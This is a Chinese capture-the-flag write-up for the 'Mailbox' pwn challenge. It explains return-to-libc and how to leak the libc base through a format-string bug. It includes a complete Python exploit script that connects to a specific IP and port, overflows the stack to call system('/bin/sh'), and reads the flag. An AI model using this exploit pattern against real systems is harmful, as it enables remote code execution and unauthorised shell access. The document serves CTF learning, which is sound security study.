Mailbox(getshell) writeup —— ret2libc的利用

Hint:

ret2libc √

题目描述:

mailbox

libc-2.19.so

题目目录下面还有另外一个flag文件:)需要拿到shell才能看得到


Writeup:

ret2libc即为return-to-libc,返回到系统库函数执行。

数据执行保护机制(Data Execution Prevention)将非代码区段设置为不可执行属性,使得系统无法执行攻击者注入的Shellcode。

利用ret2libc可使程序返回至系统库函数,系统库中有个system函数,向该函数提供参数“/bin/sh”可拿到目标服务器shell。

因此,需要利用栈溢出,用system的真实地址(libc基址+相对地址,系统库函数的相对地址可以在libc-2.19.so中找到)覆盖当前函数栈中的返回地址([ebp+0x4]),用“/bin/sh”的真实地址覆盖栈中的第二个参数([ebp+0x0C])。第一个参数([ebp+0x8])需要用exit函数的真实地址覆盖,作为system函数执行完后的返回地址。


MailBox中已经发现了栈溢出点,于是乎得到system函数和“/bin/sh”的真实地址即可拿到Shell,而这些真实地址需要通过libc的基址进行计算得到。因此,libc基址是拿到Shell的关键。

第一次接触ret2libc,对于获取libc基址没有什么思路,从两个大神的writeup中找到了获取libc基址的方法。

1、用printf_plt覆盖返回地址,用printf_got覆盖第二个参数,exit函数覆盖第一个参数,跳转至printf_plt打印printf函数的真实地址,printf的真实地址减去相对地址即为libc的基址;

2、在libc-2.19.so中找到__libc_start_main函数,该函数调用main函数,因此,调用main函数后的指令的地址即为main函数的返回地址(相对)。在main的栈中找到返回地址([ebp+4]),利用MailBox的格式化字符串漏洞打印出来,用该地址减去main函数的返回地址(相对)即为libc的基址。

libc的基址是动态变化的,每次连接服务器都会得到一个新的基址,因此,需要在一次连接中完成基址获取和栈溢出。我认为方法一更简单一些,刚开始我也是通过这种方法获取的,可是获取基址的同时已经把栈溢出用掉了。如果想要ret2libc需要再次连接利用栈溢出,可是这时libc基址早已变化了,所以只好选择方法二(方法一可能可以通过返回至函数开头解决libc基址变化问题,有时间再尝试一下)。

代码如下:

#! /usr/bin/python
from zio import *
exit_plt = 0x08048990
io = zio(('121.201.7.145',7775))
'''#注册账号
io.read_until('Quit')
io.writeline('1' )
io.read_until('Name:')
io.writeline('volvo' )
io.read_until('Pass:')
io.writeline('volvo' )
'''
io.read_until('Quit')
io.writeline('2')		#登录
io.read_until('Name:')
io.writeline('volvo')
io.read_until('pass:')
io.writeline('volvo')
io.read_until('Quit')
io.writeline('3')		#SendMail
io.read_until('To:')
io.writeline('zxczxc')

io.read_until('Title:')
title = '%e'*45 + '%x'	<span style="white-space:pre">	#打印栈帧内容
io.writeline(title)
io.read_until('Body:')
base_addr = input("Input the ret_addr:") - 0x00019A83	#输入main返回地址
system_addr = base_addr + 0x00040190
binsh_addr = base_addr + 0x00160a24
body = 'a' * 51 + l32(system_addr) + l32(exit_plt) + l32(binsh_addr)	#ret2libc
io.writeline(body)
io.writeline('ls')
io.writeline('cat flag')
io.interact()

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值